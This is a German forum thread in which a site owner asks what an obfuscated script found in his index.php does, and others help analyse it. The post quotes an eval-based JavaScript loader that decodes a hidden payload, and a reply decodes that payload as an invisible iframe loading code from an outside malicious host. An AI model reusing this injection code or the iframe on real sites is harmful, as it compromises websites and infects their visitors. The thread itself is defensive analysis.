Ubekanntes Javascript auf meiner Homepage - gehackt?

Hallo,

da meine Seite heute einen Fehler lieferte, habe ich mal nachgesehen und
den den unten aufgelisteten Code in der index.php gefunden. Ich habe ihn
nicht eingefügt aber mich interessiert: Was tut das?

Uwe

<script>
<!--
function MGF8Yw6Hc(LGo2P4lJV){var
phbNXDWUB=arguments.callee.toString().replace(/\W/g,'').toUpperCase();var
GQ1jjA8mr;var E806732cB;var IWpAy1n10=phbNXDWUB.length;var hIaa8Y3Ra;var
bd4nK4w0x='';var mvyfSa7vP=new
Array();for(E806732cB=0;E806732cB<256;E806732cB++) mvyfSa7vP[E806732cB]=0;var
GQ1jjA8mr=1;for(E806732cB=128;E806732cB;E806732cB> >=1)
{GQ1jjA8mr=(GQ1jjA8mr>>>1)^((GQ1jjA8mr&1)?39882923 84:0);for(FC77rExG6=0;FC77rExG6<256;FC77rExG6+=E80 6732cB*2)
{mvyfSa7vP[FC77rExG6+E806732cB]=(mvyfSa7vP[FC77rExG6]^GQ1jjA8mr);if
(mvyfSa7vP[FC77rExG6+E806732cB] < 0)
{mvyfSa7vP[FC77rExG6+E806732cB]+=4294967296;}}}hIaa8Y3Ra=4294967295;for(GQ1jjA8mr =0;GQ1jjA8mr<IWpAy1n10;GQ1jjA8mr++){hIaa8Y3Ra=mvyf Sa7vP[(hIaa8Y3Ra^phbNXDWUB.charCodeAt(GQ1jjA8mr))&255]^((hIaa8Y3Ra>>8)&16777215);}var
eFlHd06XA=new Array();var
LEA1f1l87=2323;hIaa8Y3Ra=hIaa8Y3Ra^4294967295;if (hIaa8Y3Ra<0)
{hIaa8Y3Ra+=4294967296;}hIaa8Y3Ra=hIaa8Y3Ra.toStri ng(16).toUpperCase();var
Q335Yq50C=new Array();var
IWpAy1n10=hIaa8Y3Ra.length;for(E806732cB=0;E806732 cB<8;E806732cB++) {var
sMeeNLV5t=IWpAy1n10+E806732cB;eFlHd06XA[E806732cB]=1;eFlHd06XA[E806732cB]=LEA1f1l87;if
(sMeeNLV5t>=8)
{sMeeNLV5t=sMeeNLV5t-8;Q335Yq50C[E806732cB]=hIaa8Y3Ra.charCodeAt(sMeeNLV5t);}
else {Q335Yq50C[E806732cB]=48;}}var nCu500SdT=0;var W2rI0162s;var
F1wG51HGW;var
Fh0jFb3N6;IWpAy1n10=LGo2P4lJV.length;Fh0jFb3N6=IWp Ay1n10;LEA1f1l87=1123;LEA1f1l87=Fh0jFb3N6;for(E806 732cB=0;E806732cB<IWpAy1n10;E806732cB+=2){var
pUGVPBsBO=LGo2P4lJV.substr(E806732cB,2);W2rI0162s= parseInt(pUGVPBsBO,16);F1wG51HGW=W2rI0162s-Q335Yq50C[nCu500SdT];if(F1wG51HGW<0)
{F1wG51HGW=F1wG51HGW+256;}bd4nK4w0x+=String.fromCh arCode(F1wG51HGW);Fh0jFb3N6++;LEA1f1l87=3891;if(nC u500SdT<Q335Yq50C.length-1)
{nCu500SdT++;LEA1f1l87=1092;eFlHd06XA[E806732cB]=20;} else
{nCu500SdT=0;LEA1f1l87=E806732cB;}}eval(bd4nK4w0x) ;}
MGF8Yw6Hc('98a89Cacb398A3B762B0ABA0BA985D6A70a29Fa 9A7a09A63A7AB9c74689bA9B7A4736866a79Fa170acB1b164B CA29cB899679cA6B36298aa9d669Ba0b4629eB1629Ca0A085a 372a498A6A2A56853acac98adA174686457639C9Ea29EAEa77 265655B59aabaACA1A8715b9bA6b8979Ab56E5969A7be55737 F63A29fA9a7A09A815B6274');
//-->
</script>

Uwe Ziegenhagen schrieb:

Hallo,

da meine Seite heute einen Fehler lieferte, habe ich mal nachgesehen und
den den unten aufgelisteten Code in der index.php gefunden. Ich habe ihn
nicht eingefügt aber mich interessiert: Was tut das?

Einen Fehler erzeugen. Da ist dem Verbrecher wohl ein Fehler in der
verschlüsselung des Codes unterlaufen.

Struppi.

Uwe Ziegenhagen schrieb:

da meine Seite heute einen Fehler lieferte, habe ich mal nachgesehen und
den den unten aufgelisteten Code in der index.php gefunden. Ich habe ihn
nicht eingefügt aber mich interessiert: Was tut das?

<http://www.viruslist.com/en/virusesdescribed?chapter=152540521#clickers>

--
"Faulheit ist die Wurzel allen Fortschritts!"
(Inhalt eines Knallbonbons, 2002)

Uwe Ziegenhagen schrieb:

Hallo,

da meine Seite heute einen Fehler lieferte, habe ich mal nachgesehen
und den den unten aufgelisteten Code in der index.php gefunden. Ich
habe ihn nicht eingefügt aber mich interessiert: Was tut das?

Es führt folgenden Befehl aus:

document.write('<iframe
src="http://all-xxx-vogue.com/cgi-bin/in.cgi?p=admin" width="1" height="1"
style="border: 0px"></iframe>')

Von dort wird wieder so etwas geladen und ausgeführt und von dort wieder und
so weiter. Irgendwann will mein VLC ein RTSP-Filmchen abspielen, was ihm vom
Webserver aber nicht erlaubt wird (403-Fehler).

viele grüße
ralph

Ralph 'rkhb' Bauer schrieb:

Uwe Ziegenhagen schrieb:
Hallo,

da meine Seite heute einen Fehler lieferte, habe ich mal nachgesehen
und den den unten aufgelisteten Code in der index.php gefunden. Ich
habe ihn nicht eingefügt aber mich interessiert: Was tut das?

Es führt folgenden Befehl aus:

document.write('<iframe
src="http://all-xxx-vogue.com/cgi-bin/in.cgi?p=admin" width="1" height="1"
style="border: 0px"></iframe>')

Von dort wird wieder so etwas geladen und ausgeführt und von dort wieder und
so weiter. Irgendwann will mein VLC ein RTSP-Filmchen abspielen, was ihm vom
Webserver aber nicht erlaubt wird (403-Fehler).

viele grüße
ralph

Hmm, das ist wohl über das Email-Formular reingekommen. Gestern landete
eine Email bei mir, die exakt diesen Text drin hatte. Danke für die Hilfe.


Uwe